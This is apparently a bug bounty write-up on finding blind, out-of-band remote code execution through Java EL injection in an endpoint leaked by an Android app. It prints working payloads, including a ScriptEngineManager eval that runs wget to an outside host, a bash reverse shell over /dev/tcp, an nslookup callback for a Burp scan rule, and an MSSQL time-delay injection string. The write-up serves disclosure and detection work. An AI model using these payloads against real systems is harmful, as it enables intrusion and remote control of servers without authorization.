Tricky out-of-band RCE via Java EL injection

It’s been a long period of silence here. I don’t blogging much nowadays, mostly because I can’t spend much time online due to health conditions and there was nothing special in my findings which could be worth a blogpost. I decided to write if there will be some unique or less documented behavior in my findings.

So, it’s been a few days before the New Year (2019) when I was bored and decided to take a shot on the public bounty program (I didn’t get an approval for the full disclosure, only for limited, so I can’t name the target or more details). I already had some success with the program, finding a couple of SQLi/SSRF on their assets. This time I found some unprotected directory with internal Android apps for employees, reported it and started exploring the apks (got permission from the team for this).

I found some amount of medium-category bugs during research, such as hardcoded Gmail password and secrets in the .apk, Reflected XML XSS on the hidden public endpoint used by app, and more impactful such as msSQL Injection [very easy itself, was able to confirm it with simple ‘)%20waitfor%20delay’0%3a0%3a5’– but endpoint was hidden very well, only leak in the .apk helped to identify it]. Eventually, I came across the endpoint in .apk which had the next syntax:

https://subdomain.company.com/aaa/bbb/?parameter=[32 hex chars]

There was no any output besides the error that parameter is wrong with HTTP code 403. Very often in such case, I’m starting to fuzz all the things so I started to play with the parameter. After some time, looking the results, I noticed interesting behavior: ${7*7} returned 500 error. It looked very promising so I started to do the generic Java EL Injection tests (I was pretty confident that backend runs Java so didn’t try other template injection tests first).

${7*7} - 403
${2+2} - 403
${""} - 403
${test}} - 500 (bad payload)
So far so good. How about calling some method?
${"".getClass()} - 404

Wat. It’s something new! I was excited, but as appeared, there was a lot of pain and going the wrong direction ahead. I mistakenly thought that ${“”.getClass()} worked, however it was not a case. As appeared after hours of trying different methods/classes, I started from beginning and figured that ${7*7.1} returned the same 404 code.
I was disappointed a little and very close to accept this as false-positive but decided to continue on the next day.

Next day, after some time of fuzzing and pain, I figured that there was a problem with dots processing apparently. With one more dot after } things returned back to normal:

${"".getClass()}. - 403 HTTP code

Likely, application did some kind of splitting the parameter value using dots as delimiter, and processing the part before the last dot. I had no idea for what reason this was, but OK.
So I started to play with methods again:

${"".getClass()}. - 403
${"".getClass().forName("java.lang.Runtime")}. - 403
${"".getPotatoe().forName("java.lang.Runtime")}. - 500

Okay, that was looking legit. To save the time for dear reader, I was unsuccessful with using java.lang.Runtime directly for some reason (maybe because lack of proper knowledge?) and after hours of trying to use common ways to get RCE and reading numerous writeups about EL injections/Spring SSTI bugs I ended up with the next payload:

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval('java.lang.Runtime.getRuntime().exec("wget%20http://myhost")')}.

It gave same 403 error, but I finally received pingback to my host, and as appeared, IP address of the request sender was different from the resource I tested. I came to the conclusion that original target I tested requested endpoint on some other internal server with parameter, and this endpoint appeared to be vulnerable. After that, I was able to establish reverse shell using next payload (it’s a bit weird, but it worked):
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval('proc=new java.lang.ProcessBuilder;proc.command("bash", "-c", "bash -i >&/dev/tcp/ip/8094 0>&1");proc.start()')}.

I built a payload for the Scan Check Builder Burp plugin ( I’m finding this plugin very useful for custom blind/out-of-band vectors because of integrated Collaborator support) which can help to easily identify this type of Blind EL Injection during active scan.

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval('java.lang.Runtime.getRuntime().exec("nslookup%20{BC}")')}

During the endpoint scanning, {BC} will be automatically replaced by the Collaborator host. You can play with payload or add public ones, it can be shorter, or not using javax.script.ScriptEngineManager at all (I just had most success with it, it worked already two times on different targets). Once Collaborator receive pingback, you will see the issue in your issues list:

Later I was able to uncover two more RCEs in different programs (one case even didn’t react to the input at all, throwing 200OK all the time, but still had RCE behind the scenes) using custom scan rule.

Lessons learned

1) With each step digging deeper into the scope chance to find something good increases dramatically.
2) Most interesting things often happen behind the scenes unnoticed. There should be a way to detect it, or even try!
3) If you faced with an interesting bug which isn’t unique for your target but was undetectable with automated tools – try to build the rule for both normal and blind/OOB variations to detect it in future, even if the chance is small

 

Sp1d3R